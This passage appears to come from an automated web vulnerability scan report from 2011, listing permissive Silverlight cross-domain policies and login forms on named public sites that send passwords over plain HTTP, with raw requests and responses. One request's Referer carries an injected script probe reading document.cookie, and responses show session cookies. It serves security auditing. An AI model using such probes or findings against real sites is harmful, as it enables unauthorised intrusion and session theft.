Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ziffdavisbaseline.112.2o7.net

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:31 GMT
Server: Omniture DC/2.0.0
xserver: www121
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.12. http://d.ligatus.com/clientaccesspolicy.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://d.ligatus.com
Path:	/clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: d.ligatus.com

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
ETag: W/"1167-1291379570000"
Last-Modified: Fri, 03 Dec 2010 12:32:50 GMT
Content-Type: application/xml
Content-Length: 1167
Date: Sun, 06 Feb 2011 17:44:28 GMT
Connection: close
Server: Apache

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>

<policy>
<allow-from http-reque
...[SNIP]...
<domain uri="*.ligatus.com"/>
...[SNIP]...
<domain uri="*.net.nl"/>
...[SNIP]...
<domain uri="*.sbs6.nl"/>
...[SNIP]...
<domain uri="*.veronicatv.nl"/>
...[SNIP]...
<domain uri="*.adverterenbijsbs.nl"/>
...[SNIP]...
<domain uri="*.ligatus.com"/>
...[SNIP]...
<domain uri="*.net.nl"/>
...[SNIP]...
<domain uri="*.sbs6.nl"/>
...[SNIP]...
<domain uri="*.veronicatv.nl"/>
...[SNIP]...
<domain uri="*.adverterenbijsbs.nl"/>
...[SNIP]...

6.13. http://officedepot.shoplocal.com/clientaccesspolicy.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://officedepot.shoplocal.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: officedepot.shoplocal.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Wed, 24 Feb 2010 18:37:08 GMT
Accept-Ranges: bytes
ETag: "0a2895e80b5ca1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
P3P: CP="NON DSP TAIa PSAa PSDa OUR NOR IND ONL UNI COM NAV INT"
Content-Length: 950
Date: Sat, 05 Feb 2011 22:58:22 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="http://*.msn.com" />

...[SNIP]...
<domain uri="http://*.msn-int.com" />
...[SNIP]...
<domain uri="http://*.crossmediaservices.com"/>
       <domain uri="http://*.shoplocal.com" />
       <domain uri="http://vqascweb1"/>
       <domain uri="http://vqascweb2"/>
       <domain uri="http://devweb1" />
       <domain uri="http://media.pointroll.com" />
       <domain uri="http://www.pointroll.com" />
       <domain uri="http://data.pointroll.com" />
       <domain uri="http://speed.pointroll.com" />
       <domain uri="http://mirror.pointroll.com" />
       <domain uri="http://geo.pointroll.com"/>
       <domain uri="http://*.pointroll.com"/>
...[SNIP]...

6.14. http://www.microsoft.com/clientaccesspolicy.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.microsoft.com
Path:	/clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which allows access from specific subdomains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: www.microsoft.com

Response

HTTP/1.1 200 OK
Cache-Control: max-age=900
Content-Type: text/xml
Last-Modified: Tue, 12 May 2009 23:10:10 GMT
Accept-Ranges: bytes
ETag: "c4640cc56d3c91:0"
Server: Microsoft-IIS/7.5
VTag: 438359342200000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 23:02:43 GMT
Connection: keep-alive
Content-Length: 572

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from >
<domain uri="http://www.microsoft.com"/>
<domain uri="http://i.microsoft.com"/>
<domain uri="http://i2.microsoft.com"/>
<domain uri="http://i3.microsoft.com"/>
<domain uri="http://i4.microsoft.com"/>
<domain uri="http://img.microsoft.com"/>
...[SNIP]...

7. Cleartext submission of password previous next
There are 76 instances of this issue:

http://channelmarketing.owneriq.com/rmb-account/login-page
http://dailyme.com/
http://digg.com/submit
http://fussballmania.com/
http://hhonors1.hilton.com/en_US/hh/home_index.do
http://hhonors1.hilton.com/en_US/hh/home_index.do
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://multiply.com/
http://multiply.com/
http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp
http://tipd.com/
http://tipd.com/
http://tipd.com/register
http://tipd.com/register
http://unalog.com/
http://vodpod.com/
http://www.arto.com/
http://www.bibsonomy.org/
http://www.coe.gatech.edu/
http://www.connotea.org/
http://www.efort.org/
http://www.facebook.com/
http://www.jamespot.com/
http://www.jazdtech.com/techdirect/
http://www.jumptags.com/
http://www.kledy.co.uk/
http://www.kledy.de/
http://www.kledy.de/bookmarks.php
http://www.kledy.de/bookmarks.php/
http://www.kledy.de/buttons.php
http://www.kledy.de/groups.php
http://www.kledy.de/impressum.php
http://www.kledy.de/login.php
http://www.kledy.de/login.php
http://www.kledy.de/topusers.php
http://www.kledy.es/
http://www.kledy.eu/
http://www.kledy.it/
http://www.kledy.us/
http://www.klivio.com/
http://www.klivio.de/
http://www.linkagogo.com/
http://www.linkatopia.com/
http://www.migrationexpertzone.com/
http://www.myfitnesspal.com/nutrition-facts-calories/bjs
http://www.mylinkvault.com/
http://www.nmworkwear.de/
http://www.nmworkwear.de/index.php
http://www.nowpublic.com/
http://www.ortho.hyperguides.com/
http://www.ota.org/members_only/login_menu.cfm
http://www.pdfforge.org/
http://www.peppernews.eu/
http://www.reddit.com/
http://www.reddit.com/
http://www.reddit.com/
http://www.shoppinga.de/
http://www.sitejot.com/
http://www.spiele365.com/
http://www.squidoo.com/
http://www.squidoo.com/
http://www.stumbleupon.com/
http://www.stylemepretty.com/|http:/stylehive.com|http:/stylelist.com|http:/www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.technotizie.it/
http://www.technotizie.it/
http://www.tumblr.com/
http://www.tumblr.com/
http://www.yigg.de/
http://www1.hilton.com/en_US/hi/customersupport/site-usage.do
http://www1.hilton.com/en_US/hi/index.do
http://www1.hilton.com/en_US/hi/index.do

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

7.1. http://channelmarketing.owneriq.com/rmb-account/login-page previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://channelmarketing.owneriq.com
Path:	/rmb-account/login-page

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://channelmarketing.owneriq.com/rmb-account/javascript:requestLogin("userLogin");

The form contains the following password field:

fpassword

Request

GET /rmb-account/login-page HTTP/1.1
Host: channelmarketing.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:46:51 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: PHPSESSID=kt1uph07r6rvoff2tchko0efd3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14989

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<META http-equiv="C
...[SNIP]...
<br />
<form id="userLogin" name="userLogin" action='javascript:requestLogin("userLogin");'>
<label>
...[SNIP]...
</label><input label="Password" class="input" id="fpassword" name="fpassword" type="password" value="" style="margin-bottom:10px" />
<br clear="all"/>
...[SNIP]...

7.2. http://dailyme.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dailyme.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://dailyme.com/accounts/login

The form contains the following password field:

data[Account][account_password]

Request

GET / HTTP/1.1
Host: dailyme.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.5
Set-Cookie: DMSession=mta7v9iqenkhb3clgekkekl847; expires=Wed, 06-Feb-2036 04:47:24 GMT; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: CakeCookie[DMWelcome]=1296946044; expires=Mon, 07-Mar-2011 22:47:24 GMT; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 43921

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http:
...[SNIP]...
<div class="form">
<form controller="accounts" id="form_login" method="post" action="/accounts/login"><fieldset style="display:none;">
...[SNIP]...
<div class="row4">
<input type="password" name="data[Account][account_password]" id="item_popup2" class="txtFld" value="" />
</div>
...[SNIP]...

7.3. http://digg.com/submit previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://digg.com
Path:	/submit

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://digg.com/submit

The form contains the following password field:

password

Request

GET /submit HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:17 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=1168415921484595456%3A180; expires=Mon, 07-Feb-2011 16:01:17 GMT; path=/; domain=digg.com
Set-Cookie: d=706268b26d50b56ff990b1e51250b8f162ce88de7b3b2a5662d7a11ef0986e8f; expires=Sat, 06-Feb-2021 02:08:57 GMT; path=/; domain=.digg.com
X-Digg-Time: D=20834 10.2.130.24
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 7632

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Digg
- Submit a link
</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics
...[SNIP]...
</script><form class="hidden">
<input type="text" name="ident" value="" id="ident-saved">
<input type="password" name="password" value="" id="password-saved">
</form>
...[SNIP]...

7.4. http://fussballmania.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fussballmania.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://fussballmania.com/ucp.php?mode=login&sid=e24587447c5801c4ef3bac550d53bd0e

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: fussballmania.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:10 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: phpbb3_cjiiy_u=1; expires=Mon, 06-Feb-2012 16:04:10 GMT; path=/; domain=.fussballmania.com; HttpOnly
Set-Cookie: phpbb3_cjiiy_k=; expires=Mon, 06-Feb-2012 16:04:10 GMT; path=/; domain=.fussballmania.com; HttpOnly
Set-Cookie: phpbb3_cjiiy_sid=e24587447c5801c4ef3bac550d53bd0e; expires=Mon, 06-Feb-2012 16:04:10 GMT; path=/; domain=.fussballmania.com; HttpOnly
Cache-Control: private, no-cache="set-cookie"
Expires: 0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32808

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de" xml:lang="de">
<head>

<met
...[SNIP]...
</div>

   <form method="post" action="./ucp.php?mode=login&sid=e24587447c5801c4ef3bac550d53bd0e" class="headerspace">
   <h3>
...[SNIP]...
</label> <input type="password" name="password" id="password" size="10" class="inputbox" title="Passwort" />

               | <label for="autologin">
...[SNIP]...

7.5. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://hhonors1.hilton.com/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?dst=https://HH/en/hhonors/PFSLogin

The form contains the following password field:

password

Request

GET /en_US/hh/home_index.do HTTP/1.1
Host: hhonors1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Content-Language: en-US
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sat, 05 Feb 2011 22:49:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: hilton-portal=HHONORS; Domain=hilton.com; Path=/
Set-Cookie: JSESSIONID=8CAFAF63982F525635C9F2F8847A1317.etc61; Path=/
Set-Cookie: NSC_qse-qgt=44153d5f3660;expires=Sat, 05-Feb-11 23:00:24 GMT;path=/
Content-Length: 91491

       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
   <head>
   <meta http-equiv="Content-Type" conten
...[SNIP]...


                       <form id="login_form" name="frmSignin" action="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?dst=https://HH/en/hhonors/PFSLogin" method="post">


                           <span id="username_box">
...[SNIP]...
ment.getElementById('PasswordPIN').focus();"
                                   class="show-input clear"
                                   value="Password or PIN"
                                   name="passwordT"
                                   tabindex="5"
                                   id="PasswordPINT"/>
                               <input type="password"
                                   onblur="javascript:if(this.value==''){this.className='hide-input clear';document.getElementById('PasswordPINT').value='Password or PIN';document.getElementById('PasswordPINT').className='show-input clear';}"
                                   onkeydown="loginByKeypress(this,event)"
                                   class="hide-input clear"
                                   value=""
                                   name="password"
                                   tabindex="5"
                                   id="PasswordPIN"/>
                               </span>
...[SNIP]...

7.6. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://hhonors1.hilton.com/en_US/hh/home_index.do

The form contains the following password field:

password

Request

GET /en_US/hh/home_index.do HTTP/1.1
Host: hhonors1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.7. http://malsup.com/jquery/form/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field:

password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: mod_security2/2.5.7
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding,User-Agent
MS-Author-Via: DAV
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 57977

<!DOCTYPE html>
<html lang="en_US" class="ui-widget-content">
<head>
<title>jQuery Form Plugin</title>
<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/black
...[SNIP]...
</h3>
<form id="validateForm3" action="dummy.php" method="post"><div>
...[SNIP]...
<input type="text" name="username" />
Password: <input type="password" name="password" />
<input type="submit" value="Submit" />
...[SNIP]...

7.8. http://malsup.com/jquery/form/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field:

Password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.9. http://malsup.com/jquery/form/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field:

password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: mod_security2/2.5.7
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding,User-Agent
MS-Author-Via: DAV
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 57977

<!DOCTYPE html>
<html lang="en_US" class="ui-widget-content">
<head>
<title>jQuery Form Plugin</title>
<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/black
...[SNIP]...
</h3>
<form id="validateForm1" action="dummy.php" method="post"><div>
...[SNIP]...
<input type="text" name="username" />
Password: <input type="password" name="password" />
<input type="submit" value="Submit" />
...[SNIP]...

7.10. http://malsup.com/jquery/form/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field:

password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: mod_security2/2.5.7
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding,User-Agent
MS-Author-Via: DAV
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 57977

<!DOCTYPE html>
<html lang="en_US" class="ui-widget-content">
<head>
<title>jQuery Form Plugin</title>
<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/black
...[SNIP]...
</h3>
<form id="validateForm2" action="dummy.php" method="post"><div>
...[SNIP]...
<input type="text" name="username" />
Password: <input type="password" name="password" />
<input type="submit" value="Submit" />
...[SNIP]...

7.11. http://malsup.com/jquery/form/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://malsup.com/jquery/form/dummy.php

The form contains the following password field:

Password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.12. http://malsup.com/jquery/form/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://malsup.com/jquery/form/dummy2.php

The form contains the following password field:

Password

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.13. http://multiply.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://multiply.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://multiply.com/user/join/

The form contains the following password field:

form::account_password

Request

GET / HTTP/1.1
Host: multiply.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:22 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: uid=A:1:U2FsdGVkX18nXdRwnCqU4LO1NyjWpdrU2Ie5Uu6OCIxeNFAUR-lkJQ%3d%3d:if0xmhaa8ycoogdw3utnprp; domain=multiply.com; path=/
Set-Cookie: session=1296946702:1296946702:1296946702:1::; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: initial_anon_referrer=; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: session=1296946702::1296946702:1::0; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: last_access=1296946702; domain=multiply.com; path=/
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa TAIa PSAa PSDa OUR NOR PHY UNI COM DEM PRE"
Expires: Wed, 13 Apr 2005 10:02:00 GMT
Pragma: no-cache
Cache-Control: max-age=0
Content-Type: text/html; charset=utf-8
X-Cache: MISS from multiply.com
Connection: close
Content-Length: 35002

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html id=html_tag>

<head>
<meta name="alexaVerifyID" content="BZXsox6-2zGOc66bo2BXtxgzrQ8" /
...[SNIP]...
<div id=signup_form_div>
<form id=signup_form class='hform' method='post' action='/user/join/' onsubmit='javascript:handle_signup_submit(); return false;'>
<div id='help_text'>
...[SNIP]...
<td class=pad6r id='cell_account_password'><input type='password' name='form::account_password' value="" class='password' autocomplete='off' id='account_password' style='width: 160px' onblur='set_help_pass_now(true)' onkeydown='set_help_timeout(set_help_pass_now, event); return keydown_submit_step_1(event)'></td>
...[SNIP]...

7.14. http://multiply.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://multiply.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://multiply.com/user/signin

The form contains the following password field:

signin::password

Request

GET / HTTP/1.1
Host: multiply.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:22 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: uid=A:1:U2FsdGVkX18nXdRwnCqU4LO1NyjWpdrU2Ie5Uu6OCIxeNFAUR-lkJQ%3d%3d:if0xmhaa8ycoogdw3utnprp; domain=multiply.com; path=/
Set-Cookie: session=1296946702:1296946702:1296946702:1::; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: initial_anon_referrer=; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: session=1296946702::1296946702:1::0; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: last_access=1296946702; domain=multiply.com; path=/
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa TAIa PSAa PSDa OUR NOR PHY UNI COM DEM PRE"
Expires: Wed, 13 Apr 2005 10:02:00 GMT
Pragma: no-cache
Cache-Control: max-age=0
Content-Type: text/html; charset=utf-8
X-Cache: MISS from multiply.com
Connection: close
Content-Length: 35002

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html id=html_tag>

<head>
<meta name="alexaVerifyID" content="BZXsox6-2zGOc66bo2BXtxgzrQ8" /
...[SNIP]...
<td align=right>
<form class='hform mobileform' action='/user/signin' method='post' id='signin_form'>
<input type='hidden' name='form::signin' value='signin'>
...[SNIP]...
<td class=pad6r id='cell_password'><input type='password' name='signin::password' value="" class='textfield' id='password' style='width: 100px' onkeydown='return keydown_login(event)'></td>
...[SNIP]...

7.15. http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tbe.taleo.net
Path:	/NA7/ats/careers/jobSearch.jsp

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://tbe.taleo.net/NA7/ats/careers/applicantView.jsp;jsessionid=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm?org=VIBRANT&cws=1

The form contains the following password field:

cwsPassword

Request

GET /NA7/ats/careers/jobSearch.jsp?org=VIBRANT&cws=1 HTTP/1.1
Host: tbe.taleo.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Set-Cookie: JSESSIONID=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm; Path=/NA7/ats
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 10486

<HTML><HEAD>
<STYLE type="text/css">
#taleoContent {
padding: 0px;
margin: 0px;
margin-top: 15px;
border: none;
font-family:
...[SNIP]...
<tr>
<form action='http://tbe.taleo.net/NA7/ats/careers/applicantView.jsp;jsessionid=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm?org=VIBRANT&cws=1' method='post' name='loginForm'>
<input type='hidden' name='org' value='VIBRANT'>
...[SNIP]...
<td nowrap colspan=1><input tabIndex='26' type='password' name='cwsPassword' maxlength=50 size=40></td>
...[SNIP]...

7.16. http://tipd.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tipd.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://tipd.com/register

The form contains the following password field:

reg_password

Request

GET / HTTP/1.1
Host: tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.17. http://tipd.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tipd.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://tipd.com/login

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.18. http://tipd.com/register previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tipd.com
Path:	/register

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://tipd.com/login

The form contains the following password field:

password

Request

POST /register HTTP/1.1
Host: tipd.com
Proxy-Connection: keep-alive
Referer: http://tipd.com/?6785a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eea5c679a90c=1
Cache-Control: max-age=0
Origin: http://tipd.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
